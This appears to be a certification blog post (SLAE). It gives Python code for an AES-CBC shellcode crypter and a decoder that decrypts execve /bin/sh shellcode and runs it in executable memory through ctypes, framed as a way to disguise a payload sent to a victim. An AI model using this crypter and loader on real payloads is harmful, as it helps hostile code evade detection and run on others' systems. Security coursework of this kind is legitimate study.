0x07 SLAE - Custom Crypter

Introduction

In this last assessment, the goal is to develop our own crypter using a known encryption scheme in any language. I decided to do it in python because it is pretty straight forward. The algorithm encryption that I choosed is AES which stand for Advanced Encryption Standard. The mode that I use is Cipher Block Chaining. The CBC mode will xor each block of plaintext with the previous ciphertext block before being encrypted. Here is a good illustration of the encryption algorithm pattern :

Crypter

The following code is the crypter which will encrypt the original shellcode with the key that is specified in the script as you can see below.

AEScrypter.py
# Description: Crypter for x86 SLAE
# Author: davidlebr1

import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES

# basic execve shellcode
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

class AESCrypter(object):

    def __init__(self, key):
        self.key = hashlib.sha256(key.encode("utf-8")).digest()

    def encrypt(self, raw):
    	print("[+] Starting encryption\n")
    	raw = self._pad(raw)
    	iv = Random.new().read(AES.block_size)
    	cipher = AES.new(self.key, AES.MODE_CBC, iv)
    	return base64.b64encode(iv + cipher.encrypt(raw))

    def _pad(self, s):
        return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

if __name__ == '__main__':
	c = AESCrypter(key="thisismysuperkey")
	print("[+] Original shellcode: {}\n".format(''.join('\\x' + hex(byte)[2:] for byte in bytearray(shellcode))))
	encrypted_shellcode = c.encrypt(shellcode)
	print("[+] Encrypted shellcode: {}\n".format(''.join('\\x' + hex(byte)[2:] for byte in bytearray(base64.b64decode(encrypted_shellcode)))))
	print("[+] Base64 encrypted shellcode: {}\n".format(encrypted_shellcode))

By running this script, it will output the encrypted base64 shellcode that we can put in the payload or the decoder. Normally, the decoder is the payload that we send to the victim. Also, attacker will send a compiled version of it because it easier to execute. For the purpose of this assignment, I will not convert the python script in a compiled version.

Decoder

The decoder script take the encrypted shellcode as input and decrypt it with the same key that we passed in the crypter. Once the shellcode has been decrypted, we use the ctypes libraries to run the shellcode in memory.

AESdecoder.py
# Description: Run the encrypted bytes for x86 SLAE
# Author: davidlebr1

import base64
import hashlib
import binascii
from ctypes import *
from Crypto import Random
from Crypto.Cipher import AES

# Encrypted with AES
encrypted_payload = "L/JfoqpQn0JOH0BPsL6UIBC7jXCSKkieH87jiZ97S6k2NjIzcE6etFIIMgvmUyXi"

class AESCrypter(object):

    def __init__(self, key):
        self.key = hashlib.sha256(key.encode("utf-8")).digest()

    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[:AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size:]))

    def _pad(self, s):
        return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

    @staticmethod
    def _unpad(s):
        return s[:-ord(s[len(s)-1:])]

if __name__ == '__main__':
    c = AESCrypter(key="thisismysuperkey")
    raw = c.decrypt(encrypted_payload)
    shellcode = ""
    print("[+] Decrypted Shellcode of {} bytes: {}".format(len(raw), format(''.join('\\x' + hex(byte)[2:] for byte in bytearray(raw)))))
    print("[+] Running the shellcode now")
    libc = CDLL('libc.so.6')
    sc = c_char_p(raw)
    size = len(raw)
    addr = c_void_p(libc.valloc(size))
    memmove(addr, sc, size)
    libc.mprotect(addr, size, 0x7)
    run = cast(addr, CFUNCTYPE(c_void_p))
    run()AESdeco

Conlusion

The x86 Assembly Language and Shellcoding On Linux teach me a lot of thing. I started from little knowledge in shellcoding to something that is more familiar to me. I have still a lot of thing to learn and this is why I won't stop my journey here. Next step would probably be SLAE x64 and maybe OSCE. I suggest anyone to take that course if they would like to learn more about assembly and shellcode. Thanks to Vivek Ramachandran for the great course and sharing his knowledge to the world.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1374

Last updated